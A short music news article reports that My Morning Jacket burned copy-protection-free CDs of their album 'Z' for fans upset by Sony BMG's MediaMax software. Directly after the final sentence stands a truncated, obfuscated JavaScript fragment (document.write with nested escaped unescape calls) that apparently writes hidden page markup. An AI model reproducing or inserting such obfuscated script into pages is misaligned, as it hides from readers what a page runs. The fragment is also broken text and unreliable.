My Morning Jacket bootleg their own album

My Morning Jacket have taken to burning copies of their new album 'Z' for fans after people complained about the copy protection software on copies of the album they had bought.

The band, whose manager Mike Martinovich insists were unaware the LP would contain the software, decided to act after receiving a barrage of emails from fans complaining about MediaMax.

The software not only prevents an album from being played on computer, it also installs programmes on those computers that spy on music usage and report copyright violations to the company without the users' knowledge.

Sony BMG initially downplayed the problem, but in mid-November issued an apology and pledged to pull all CDs containing MediaMax and XCP from stores.

My Morning Jacket reacted by posting a link on their official site detailing how fans can bypass the software, thereby allowing 'Z' to play in most computers. And if that didn't work, the band members said they will happily burn fans a CD of the album, completely free of copy-protection software.

Martinovich said in a statement to MTV News: "As our fans have been experiencing varying degrees of difficulty with the copy-protection mechanism employed by Sony BMG, we have responded to each e-mail with an apology ... assuring them that My Morning Jacket was not responsible for the decision."

He added, "If that didn't work, we offered to burn a copy of the album and send it to the fan who already purchased a copy of 'Z'. To date, we have sent out over 100 copies of [the album] to friends and fans who have purchased the album and have not been able to enjoy the music."

Other bands who have expressed their displeasure over the software in the past include Foo Fighters and The Dave Matthews Band.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;